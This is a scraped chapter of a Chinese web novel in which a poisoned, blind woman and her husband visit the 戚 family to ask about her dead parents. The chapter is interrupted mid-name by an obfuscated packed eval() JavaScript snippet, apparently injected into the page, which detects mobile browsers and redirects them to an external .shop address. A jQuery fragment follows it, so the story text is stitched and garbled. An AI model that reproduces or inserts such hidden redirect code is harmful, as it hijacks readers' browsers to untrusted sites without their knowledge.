文趣网 > 其他小说 > 夫君,你和暴君撞脸了 > 49. 第 49 章
    “已经让柳沐严往戚府递了拜帖,娘子撑得起精神去吗?”

    萧让旻照例在晨起后给裴双月润唇喂水,体贴地为她束发着衣,熟练利索。

    裴双月的力气越发松散,提不起劲头,眼前依旧是透着些许光亮的黑影,模糊不清。

    可她心底几乎不见慌张,哪怕不足半月寿数,哪怕至今没有医圣传人的消息。

    她全部注意放在戚家,以至于忽略心底的宁静:“要去。”

    难得能寻到爹娘生前的恩怨情仇消息,她不能错过。

    二人收拾妥当下楼,白十四神出鬼没,在萧让旻抱裴双月下楼时,拎木轮椅跟上,下了楼又不见踪影。

    萧让旻低头给裴双月整理衣摆,看她面上覆的鲸蓝丝带,丝带上印有海棠纹,趁她素净脸蛋肤白更甚。

    “娘子今日唇上血色又淡了些。”

    裴双月冷淡:“嗯。”

    萧让旻见她无惊无恐,眼底衔来一丝笑意,是一抹许久之后回忆起来才拥有的笑意。

    柳沐严几人早已下楼用早膳,用到一半,眼睁睁看着二人头抵着头,低声说悄悄话。

    几人面面相觑,挤出意味深长的表情,尤其是柳沐严,看萧让旻的眼神愈发不可理解。

    众人用过早膳,叫了一个车夫,驾驶马车往城东的戚家去。

    良城内街道贩夫走卒不少,路上行人衣着各异,街角躺着几个破衣褴褛看不出男女的人。

    萧让旻落下车帘,将身子收回车厢,与裴双月道:“娘子瞎了眼,不能瞧见世道的艰难,也算好事一桩。”

    裴双月为了怼骂他,自客栈出门时,便蓄攒着力气,此时终于能一吐为快。

    “掩耳盗铃听过么,蠢。”

    耗完气力,裴双月唇角勾出畅快,车厢中的静谧给她莫大的鼓舞——她怼骂他哑口无言。

    柳沐严几人大气不敢喘,低首偷瞄二人,眼底全然是看好戏之意。

    萧让旻无声扯唇,赞道:“娘子学问有所长进,想来往后与姜冠林读书不会费力。”

    裴双月沉默良久,朝没有萧让旻的一方侧过脸,只当做听不见。

    “娘子不反对便好,姜冠林虽年迈,能力却不俗,必能教好你。”萧让旻补充。

    裴双月想反驳,却气冲冲没了气力,只气得自己胸闷不语。

    戚府门口,小厮们张灯结彩,婢女们捧着大红绸奔走,整座府邸富贵喜气,张扬暗红袍子的戚沅负手而立,喜滋滋指挥仆人们调整灯笼位置。

    “歪了歪了!”

    “不对!高了高了!”

    “你们两个蠢东西!快点快点!别耽误小爷的喜事儿!”

    马车辘辘驶停在戚府门口,萧让旻阔步稳健抱裴双月下马车,薛楼与柳沐严合力抬下木轮椅,柳沐青颤颤肚腩,捧着几块裴双月专用的茶杯下来。

    几人鞍前马后,收拾的稳当妥帖。

    戚沅满面春风迎上前,姿态风流同他拱手:“张公子!幸会!”

    萧让旻客气颔首:“幸会,戚少爷。”

    戚沅扫一眼衣着严实贵气的裴双月,她一身安宁平和,仿若矗立在庙宇的彩衣观音,哪怕一身病气,也不能掩盖她对人莫名的吸引。

    “怪不得张公子昨日那般,原来家中美妻病弱不可辜负。”

    戚沅眉梢轻挑,语气也不自觉轻佻起来,低身与裴双月调笑,身上一股清幽冷香钻入裴双月鼻息。

    “夫人双目不见世人,却满面善相,极像那莲座上的观音,无须抬眼,世人便知其容尽善。”

    裴双月不言,只听着清澈透亮的嗓音稀里糊涂说了一大堆,她一句没有听懂,唯独戚少爷独特的冷香令她困惑。

    终于,她淡淡答:“嗯。”

    “几位请!家父已经等候多时。”

    戚沅将几人领进家中,绕过影壁走过垂花门,进了青松假山的庭院,便是大气雅致的正堂。

    藏蓝袍子的中年男人坐在主位,面色凝重目视戚沅领几人进屋。

    萧让旻扫男人一眼,心中大抵知晓他是何人,客气开口:“听闻戚老爷是敞亮人,今日拜访便不做赘述,开门见山向戚老爷请教岳父裴立堂生前事。”

    戚老爷凝重面色未改,微眯双眸起身:“岳父?你是裴家的大姑爷?”

    “家妻行二。”

    戚老爷眉头深拧,越过此言,将视线落向木轮椅上的裴双月,欲言又止,萧让旻径直将手掌轻落在裴双月肩头。

    他道:“此乃家妻。”

    “你是双月?!”

    戚老爷方才的欲言又止全然化作担忧与震惊,满面凝重顿时消散全无。

    裴双月轻轻颔首,低应一声:“是。”

    “你这是怎么了?”戚老爷觉察出她身子虚,抛开对萧让旻的怀疑,近乎逼迫地问他,“她怎么会这样?裴家这两年到底惹了什么人!”

    萧让旻狭眸掠过一抹暗芒,刻意试探道:“许是家门不幸,岳父岳母身亡的案子,官府已经结了,只是意外。”

    “怎么可能!明明——”

    戚老爷话语戛然而止,慌张掩饰神情:“明明那夫妻俩命硬,怎么就出了意外?双月侄女也是意外?”

    “不是。”萧让旻简单解释,“娘子从前的仇家找上门,下了阴招。”

    戚老爷表情古怪:“是在武行时结的仇?”

    萧让旻见他如此询问,猜测他知晓武行内情,遂颔首。

    戚老爷嘴角抽搐:“当年我劝她爹别送孩子去,那固执的老东西不信,说什么有个跛脚老道士让送去学武,学武才能长寿富贵。”

    戚老爷狠狠啐一口,骂道:“等老子跛了脚,也穿上破道士服破袈裟去胡说八道!”

    众人:“……”

    裴双月面色平静,心无波澜。

    她幼时,爹娘常带她与阿姐逛庙会,爹娘喜欢那些和尚道士捡着好听的话说,说阿姐有福相,能长命百岁;说她身子骨结实,能荣华富贵。

    转个身的功夫,同样的说辞,又诵背给下一位香客听。

    唯独有位瞎眼的算命先生,在路边叫住她爹娘,说她命格尊贵无双;比所有和尚道士说得还夸张,爹娘更高兴。

    仔细想想,父母双亡,阿姐心疾,她中毒,夫君神秘还失心疯,寻常人赶上一样都不好过,她还能活下来,也算福大命大吧。

    她如是安慰自己。

    “听外边说戚老爷与岳父曾有些过节……”萧让旻试探问。

    戚老爷面露难色:“那老匹夫为人混账,自然是有过节!”

    萧让

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17738723|205210||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    旻自幼敏锐,戚老爷的咬牙切齿是真,关心担忧是真,与舅舅父皇的关系有些许相似,又不尽相同,暂时可信。

    “戚老爷,娘子身中剧毒,须前往晋州府寻医治病,不能耽误,但岳父往事也极为重要,不知可否耽误您半日说说岳父岳母之事?”

    萧让旻一番客气的交涉,将戚老爷卡在进退两难的地步,最终只叹息着点了头。

    戚老爷只带了裴双月与萧让旻进书房,刚关上门,戚老爷便问裴双月:“双月侄女,在说你爹娘之事前,戚叔想问你一个问题。”

    裴双月双手搭在腿上,覆着丝带的脸庞面对戚老爷:“嗯。”

    “若你的仇人权势滔天,你绝无反击之力,就忘了此事,安生过日子,可好?”

    裴双月蹙眉抿唇,沉吟:“不好。”

    “你还有一个阿姐。”戚老爷盯着她那双看不见的眼睛,“你们还未给裴家留后。”

    裴双月不明白他的意思,干脆不语。

    萧让旻站在一旁,静思片刻:“戚老爷,你不知裴家真正的仇人,但岳父岳母死亡蹊跷,甚至留下过指向贵人的线索,是吗?”

    戚老爷身子僵硬,讷讷转过头。

    他没有说话,但震惊的表情足以告知萧让旻何意。

    “戚老爷,若你愿意,还请将线索告知,我会护住娘子,不会叫她白白送命。”萧让旻温良道,“若湮没真相,裴家不做防备,兴许哪日先被权贵无声处死,您说呢?”

    戚老爷久久不语,终于一脸灰败点了头。

    正堂中,戚沅招待柳沐严与薛楼。

    戚沅坐没坐相,一脸玩世不恭,朝二人打听:“你家公子家中是做什么的?那一身衣裳低调贵气,可不是寻常富家公子能穿的,一般人瞧出来。”

    “寻常人瞧不出来,小戚爷倒是瞧出来了。”柳沐严滴水不漏回防,“小戚爷好眼力。”

    戚沅笑:“非也。我并非在衣裳上瞧出来的,而是从你二人。”

    “我二人?”柳沐严面不改色。

    “你们两个仆从,身量高挺、容貌不俗,衣裳富贵,配饰讲究,家财万贯不敢说,可至少不缺银子。”

    戚沅见二人坦坦荡荡,笑意更潇洒。

    “二位在外边怎么也得是富家公子,半城人尊叫声爷,可你二人反倒是跟在那人身后,事事妥帖无半点不服气,可见对方来历绝对不低。”

    戚沅见二人不答,托着下巴笑问:“裴二姑娘家道中落,怎么嫁的你们家公子?真是令人好奇。”

    “传言小戚爷嚣张跋扈,败絮其中,如今看来,小戚爷何止聪慧!”柳沐严举茶杯赞颂。

    薛楼觉察到不对,但他并不知萧让旻身份,也不敢多问,笑吟吟学柳沐严:“小戚爷聪慧!令人艳羡!”

    待裴双月三人自书房出来,戚老爷深吐一口浊气:“送客!”

    戚沅随口问:“晌午了,不留他们用膳?”

    “用什么用!气饱了!”戚老爷语气又沉又怨,嫌弃地扫一眼萧让旻,朝戚沅吩咐,“去库房取五十万两银票来,赶紧送客!”

    戚沅:“???”

    “愣着干什么!没见你双月姐病着么!”戚老爷面色更不耐。

    戚沅一脸懵:“老头儿,你被他们下降头了?”